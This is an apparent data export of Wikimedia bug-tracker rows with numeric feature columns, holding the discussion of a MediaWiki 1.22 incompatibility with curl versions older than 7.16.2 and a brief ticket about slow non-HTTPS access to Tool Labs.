**Severity**: normal",Needs Triage,90.0,1386498420,1387272888.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-byoaktkga35sqw3l6qkm,task_description,resolved,True,c3,1,False,False,True,-82,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,8.0,2.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.03125,0.640625,"**Author:** CODE

**Description:**
i found this,is maybe a bug?

PHP Notice:  Use of undefined constant CURLOPT_CONNECTTIMEOUT_MS - assumed 'CURLOPT_CONNECTTIMEOUT_MS' in w/includes/HttpFunctions.php on line 733

--------------------------
**Version**: 1.22.0
**Severity**: normal"
272667,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:

i so happy it be fixed!yep,i use centos 5,if update the curl which a lot probelm,the php53 cant install anymore,it need [yum install curl]for it!
so this is just very great for the people like me.",,,1387720047,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,11.0,5.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,3.272727272727273,0.7818181818181819,"**slboat** wrote:

i so happy it be fixed!yep,i use centos 5,if update the curl which a lot probelm,the php53 cant install anymore,it need [yum install curl]for it!
so this is just very great for the people like me."
272661,CurlHttpRequest fails with curl < 7.16.2,All patches merged. Assuming this is RESOLVED FIXED.,,,1387272888,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-81,True,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.5,0.9,All patches merged. Assuming this is RESOLVED FIXED.
272654,CurlHttpRequest fails with curl < 7.16.2,"Change 100556 merged by jenkins-bot:
Restore compatibility with curl < 7.16.2

https://gerrit.wikimedia.org/r/100556",,,1386679101,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.705882352941177,1.0,"Change 100556 merged by jenkins-bot:
Restore compatibility with curl < 7.16.2

GERRIT_URL"
272648,CurlHttpRequest fails with curl < 7.16.2,"Change 100556 had a related patch set uploaded by MarkAHershberger:
Restore compatibility with curl < 7.16.2

https://gerrit.wikimedia.org/r/100556",,,1386678799,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.3,1.0,"Change 100556 had a related patch set uploaded by MarkAHershberger:
Restore compatibility with curl < 7.16.2

GERRIT_URL"
272641,CurlHttpRequest fails with curl < 7.16.2,"Change 100390 merged by jenkins-bot:
Restore compatibility with curl < 7.16.2

https://gerrit.wikimedia.org/r/100390",,,1386611366,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.705882352941177,1.0,"Change 100390 merged by jenkins-bot:
Restore compatibility with curl < 7.16.2

GERRIT_URL"
272635,CurlHttpRequest fails with curl < 7.16.2,"(In reply to comment #11)
> Do we have evidence that any supported version of any popular distro is
> affected? If so, we should take some care to maintain compatibility.
> Otherwise,
> we can't maintain compatibility with infinite number of DIY distros/PHP
> builds.

RHEL/CentOS 5, though MW 1.22 is also incompatible with that distribution's php53 package in a different way (bug 58213).

If we do wish to drop support for old versions of curl, we should add:

* a version check in MWHttpRequest::factory(); and
* an entry in the RELEASE-NOTES file.",,,1386609549,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,15.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,5.0,0.0,2.0,13.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4352941176470586,0.7294117647058823,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

RHEL/CentOS 5, though MW 1.22 is also incompatible with that distribution's php53 package in a different way (bug 58213).

If we do wish to drop support for old versions of curl, we should add:

* a version check in MWHttpRequest::factory(); and
* an entry in the RELEASE-NOTES file."
272627,CurlHttpRequest fails with curl < 7.16.2,"Do we have evidence that any supported version of any popular distro is affected? If so, we should take some care to maintain compatibility. Otherwise, we can't maintain compatibility with infinite number of DIY distros/PHP builds.",,,1386608976,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,7.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,14.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.8181818181818182,"Do we have evidence that any supported version of any popular distro is affected? If so, we should take some care to maintain compatibility. Otherwise, we can't maintain compatibility with infinite number of DIY distros/PHP builds."
272617,CurlHttpRequest fails with curl < 7.16.2,"I'm inclined to reclose this.

We require PHP 5.3.2, which was released 4 March 2010. Curl 7.16.2 was released 11 April *2007*, almost three years earlier. Do we really need to maintain compatibility with a version of a library that's almost 7 years old and is 3 years older than other software we require?",,,1386607593,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,6.0,0.0,6.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,11.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,6.0,8.0,6.0,2.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.9076923076923076,0.8,"I'm inclined to reclose this.

We require PHP 5.3.2, which was released 4 March 2010. Curl 7.16.2 was released 11 April *2007*, almost three years earlier. Do we really need to maintain compatibility with a version of a library that's almost 7 years old and is 3 years older than other software we require?"
272610,CurlHttpRequest fails with curl < 7.16.2,"Change 100390 had a related patch set uploaded by PleaseStand:
Restore compatibility with curl < 7.16.2

https://gerrit.wikimedia.org/r/100390",,,1386606837,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.05,1.0,"Change 100390 had a related patch set uploaded by PleaseStand:
Restore compatibility with curl < 7.16.2

GERRIT_URL"
272604,CurlHttpRequest fails with curl < 7.16.2,"Reopening. This was needless breakage caused by gerrit 58247,
which added a feature chiefly for Wikimedia's use. Fortunately, the
patch is very, very simple.",,,1386606393,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.121212121212121,0.8181818181818182,"Reopening. This was needless breakage caused by gerrit 58247,
which added a feature chiefly for Wikimedia's use. Fortunately, the
patch is very, very simple."
272598,CurlHttpRequest fails with curl < 7.16.2,"[No codefix in MediaWiki code, hence changing resolution to WORKSFORME]",,,1386590299,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.769230769230769,1.0,"[No codefix in MediaWiki code, hence changing resolution to WORKSFORME]"
272591,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:

thx!it had be fix,after recompile the php-curl,and update the curl 7.33.0",,,1386571765,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.24,0.76,"**slboat** wrote:

thx!it had be fix,after recompile the php-curl,and update the curl 7.33.0"
272585,CurlHttpRequest fails with curl < 7.16.2,"(In reply to comment #3)
> It sounds like you need to update either your version of PHP or your php-curl
> module. According http://www.php.net/curl_setopt the
> CURLOPT_CONNECTTIMEOUT_MS
> constant was added in cURL 7.16.2 and has been available in PHP since 5.2.3.
> Since MediaWiki requires PHP 5.3.2, there's no reason you shouldn't have that
> constant available.

Not the PHP extension, but rather libcurl itself -- the PHP extension may have been compiled against an old version of the library. In that case, the constant could be missing. From ext/curl/interface.c in PHP 5.3 (similar code exists even in newer PHP versions):

#if LIBCURL_VERSION_NUM > 0x071002
        REGISTER_CURL_CONSTANT(CURLOPT_CONNECTTIMEOUT_MS);
#endif",,,1386522726,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,18.0,1.0,1.0,7.0,0.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,1.0,10.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,1.0,4.284090909090909,0.6818181818181818,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not the PHP extension, but rather libcurl itself -- the PHP extension may have been compiled against an old version of the library. In that case, the constant could be missing. From ext/curl/interface.c in PHP 5.3 (similar code exists even in newer PHP versions):

#if LIBCURL_VERSION_NUM > 0x071002
        REGISTER_CURL_CONSTANT(CURLOPT_CONNECTTIMEOUT_MS);
#endif"
272578,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:

hmm,i will have a try,thx!

maybe mw can make a error log:""you curl version is too low,plz upgrade""?",,,1386522360,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,11.0,8.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.8055555555555556,"**slboat** wrote:

hmm,i will have a try,thx!

maybe mw can make a error log:""you curl version is too low,plz upgrade""?"
272571,CurlHttpRequest fails with curl < 7.16.2,"It sounds like you need to update either your version of PHP or your php-curl module. According http://www.php.net/curl_setopt the CURLOPT_CONNECTTIMEOUT_MS constant was added in cURL 7.16.2 and has been available in PHP since 5.2.3. Since MediaWiki requires PHP 5.3.2, there's no reason you shouldn't have that constant available.",,,1386520203,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,12.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,16.0,4.0,5.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,9.0,12.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.589285714285714,0.8392857142857143,"It sounds like you need to update either your version of PHP or your php-curl module. According URL the CURLOPT_CONNECTTIMEOUT_MS constant was added in cURL 7.16.2 and has been available in PHP since 5.2.3. Since MediaWiki requires PHP 5.3.2, there's no reason you shouldn't have that constant available."
272564,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:

(In reply to comment #1)
> and i always got this,i dont know it's my code problem or the mw,it's been
> work
> good before V1.22
> 
> 
> 
> 
>  PHP Warning:  curl_setopt_array() [<a
> href='function.curl-setopt-array'>function.curl-setopt-array</a>]: Array keys
> must be CURLOPT constants or equivalent integer values in
> /w/includes/HttpFunctions.php on line 771
> 
> here is my code:
> 
>         $authUrl =
> ""https://datamarket.accesscontrol.windows.net/v2/OAuth2-13/""; //验证地址
> 
>         $options = array(); //看起来定义它是必要的
>         $options['method']   = 'POST';
>         $options['timeout']  = $this->config['timeout'];
> //有趣的是，在class里看起来是共享的
>         $options['postData'] = array(
>             'grant_type' => ""client_credentials"", //验证地址
>             'scope' => ""http://api.microsofttranslator.com"",
> //使用范围，因为这套api看起来是很全面的玩意
>             'client_id' => $clientID,
>             'client_secret' => $clientSecret
>         );
> 
>         wfErrorLog('工厂构造'.serialize($options), '/tmp/wm.log' ); //调试信息
> 
>         $req = MWHttpRequest::factory($authUrl, $options);

        wfErrorLog('开始请求\n', '/tmp/wm.log' ); //调试信息        

        $status = $req->execute(); //看起来死在这里,问题是选项啥的",,,1386498617,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,2.0,24.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2596153846153846,0.33653846153846156,"**slboat** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

        wfErrorLog('开始请求\n', '/tmp/wm.log' ); //调试信息        

        $status = $req->execute(); //看起来死在这里,问题是选项啥的"
272557,CurlHttpRequest fails with curl < 7.16.2,"**slboat** wrote:

and i always got this,i dont know it's my code problem or the mw,it's been work good before V1.22




 PHP Warning:  curl_setopt_array() [<a href='function.curl-setopt-array'>function.curl-setopt-array</a>]: Array keys must be CURLOPT constants or equivalent integer values in /w/includes/HttpFunctions.php on line 771

here is my code:

        $authUrl = ""https://datamarket.accesscontrol.windows.net/v2/OAuth2-13/""; //验证地址
        
        $options = array(); //看起来定义它是必要的
        $options['method']   = 'POST';
        $options['timeout']  = $this->config['timeout']; //有趣的是，在class里看起来是共享的
        $options['postData'] = array(
            'grant_type' => ""client_credentials"", //验证地址
            'scope' => ""http://api.microsofttranslator.com"", //使用范围，因为这套api看起来是很全面的玩意
            'client_id' => $clientID,
            'client_secret' => $clientSecret
        );

        wfErrorLog('工厂构造'.serialize($options), '/tmp/wm.log' ); //调试信息

        $req = MWHttpRequest::factory($authUrl, $options);",,,1386498574,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-byoaktkga35sqw3l6qkm,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,8.5,0.0,0.0,0.0,2.0,0.0,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,1.5,5.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,7.0,0.0,10.5,0.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,4.473958333333333,0.59375,"**slboat** wrote:

and i always got this,i dont know it's my code problem or the mw,it's been work good before V1.22




 PHP Warning:  curl_setopt_array() [<a href='function.curl-setopt-array'>function.curl-setopt-array</a>]: Array keys must be CURLOPT constants or equivalent integer values in /w/includes/HttpFunctions.php on line 771

here is my code:

        $authUrl = ""URL //验证地址
        
        $options = array(); //看起来定义它是必要的
        $options['method']   = 'POST';
        $options['timeout']  = $this->config['timeout']; //有趣的是，在class里看起来是共享的
        $options['postData'] = array(
            'grant_type' => ""client_credentials"", //验证地址
            'scope' => ""URL //使用范围，因为这套api看起来是很全面的玩意
            'client_id' => $clientID,
            'client_secret' => $clientSecret
        );

        wfErrorLog('工厂构造'.serialize($options), '/tmp/wm.log' ); //调试信息

        $req = MWHttpRequest::factory($authUrl, $options);"
59968,Tool Labs is very slow when browsing with non-HTTPS,"https://tools.wmflabs.org is fine

http://tools.wmflabs.org is very slow (~45 seconds to load the page)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57988",Needs Triage,90.0,1386153960,1386197067.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-wb2gzsfi5v7menlq45me,task_description,resolved,True,c3,1,True,False,True,-83,True,0.0,0.0,2.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1363636363636362,0.5454545454545454,"URL is fine

URL is very slow (~45 seconds to load the page)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
260124,Tool Labs is very slow when browsing with non-HTTPS,The issue has now been solved.,,,1386197067,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-wb2gzsfi5v7menlq45me,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,The issue has now been solved.
